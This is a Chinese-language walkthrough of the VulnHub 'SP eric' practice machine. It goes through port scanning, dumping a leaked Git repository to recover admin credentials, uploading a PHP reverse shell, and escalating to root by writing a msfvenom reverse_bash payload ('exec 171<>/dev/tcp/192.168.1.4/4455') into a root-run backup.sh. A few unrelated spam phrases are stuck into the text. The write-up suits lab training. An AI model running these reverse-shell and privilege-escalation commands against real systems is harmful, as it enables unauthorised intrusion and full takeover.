大家好,今天给大家带来的靶机是SP eric,这个靶机有两个flag,我们的目标就是把它们都找出来,flag的位置已经提供,如下:
· /root/flag.txt
· /root/eric/flag.txt
靶机下载地址:https://www.vulnhub.com/entry/sp-eric,274/
渗透方法
· 网络扫描
· 访问HTTP服务端口
· 使用dirb遍历目录
· 使用gitdumper来下载git文件
· 使用extractor来提取git文件
· 遍历登录凭证
· 上传PHP反向shell
· 获取用户flag
· 利用PHP shell编辑文件
· 获取root用户flag
Writeup
首先我们用nmap来对这个靶机进行端口扫描,通过扫描可以看到开放了80端口,如下图,我们还看到了扫出来了一个Git目录。
nmap -A 192.168.1.18
既然开了80,我们就在浏览器中访问一下,看到如下信息,“blog under construction”(博客正在建设中),如图,看起来好像没什么可挖掘的,我们再试试其他办法。
那我们就来试一下目录遍历,这里我们使用dirb这款工具。扫出来了一个admin.php文件和一个upload目录。OK,我们将对它们进一步挖掘。中国菜刀
dirb //192.168.1.18
访问admin.php,是一个表单,有username和password这两个字段。看到表单,我们马上就会想到SQL注入。于是我们花了一点时间进行尝试,无果,只好放弃,只能再尝试其他方法。
现在,继续看nmap扫描结果,我们找到了一个Git库。在google上查找一番之后,我们找到了一个Git泄露利用工具GitTools。我们把工具下载到桌面,如下图,接着我们进入到GitTools工具目录,ls一下,我们可以看到有3个工具:Dumper,Extractor和Finder。我们将使用这个工具来遍历我们发现的Git库。
git clone //github.com/internetwache/GitTools.git cd GitTools/ ls
首先,我们进入到Dumper目录,使用gitdumper工具。这会dump Git库中的所有文件。我们只需要指定一个下载目录即可,如下图:
现在我们已经成功dump了Git库中的所有文件。接着该使用Extractor工具了。进入到Extractor目录中,使用Extractor工具,需要指定两个目录,一个是刚才dump文件的目录,一个是提取文件的目录,如下图:
./extractor.sh ../Dumper/dest-dir ./dest-dir
Extractor会根据Git中的commits来创建目录,如下图所示。Git中有3个commits,所以创建了3个目录。首先,我们进入其中一个目录“3db5628b550f5c9c9f6f663cd158374035a6eaa0”,发现里面有三个文件:admin.php,commitmeta.txt和index.php。我们用cat命令来查看一下admin.php这个文件,发现了之前访问80端口时表单中的用户名和密码,我们把这个凭证标记出来了,如下图:天空彩
回到之前的表单页面,然后输入凭证,成功登陆。登进来之后,我们发现了更多的表单,一个是“add new post”,还有一个是“add site to blogroll”,都是在建设中,如图:
我们在表单中随便填入一些信息,然后在上传文件的位置选择一个PHP反向shell。填完之后,我们点击add按钮来添加,如图:
虽然文件已经上传了,但我们要获取到会话,还是要在靶机上访问一下这个文件。回到nmap扫描结果,我们找到一个“upload”目录。猜想一下,刚才上传的文件应该是传到了upload目录下,于是我们在浏览器中访问一下upload目录下的该文件,如下图:
另一方面,我们需要打开一个终端,创建一个nc监听器,监听的端口是PHP反向shell脚本里设置的端口。很快,我们就获得了靶机的shell。不过,获得的好像是一个Python shell,要获得靶机的系统shell,我们需要使用Python的一个语句,如下图。进入靶机的系统shell之后,我们就可以ls查看一下当前目录内容了,发现了eric目录,进入到该目录,找到了第一个flag。同时,在这个eric目录下,我们还发现了一个backup.sh文件,这个文件是以root身份运行的,并且具有所有的权限,如下图所示:
nc -lvp 1234 python3 -c 'import pty;pty.spawn("/bin/bash")' cd /home ls -al cd eric ls -al cat flag.txt
因此,我们就需要利用这个backup.sh文件来提权到root。我们创建了一个msfvenom脚本来打这个靶机。我们使用的是reverse_bash这个payload来创建脚本的,如下:
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.4 lport=4455 R
复制脚本内容,然后切换到靶机的shell会话中,使用echo命令,将内容写入到backup.sh中,如下:
echo "0<&171-;exec 171<>/dev/tcp/192.168.1.4/4455;sh <&171 >&171 2>&171" > backup.sh cat backup.sh
打开一个新的终端,再创建另外一个nc监听器,监听的端口就是刚才使用msfvenom创建脚本时的端口,4455。接着,我们执行一下这个backup.sh文件,马上就获得了一个root shell。我们还是需要使用Python语句来进入到系统的shell中。接着,我们切换到root目录下,看到了root flag,如下图:
nc -lvp 4455 id python3 -c 'import pty;pty.spawn("/bin/bash")' cd /root ls cat flag.txt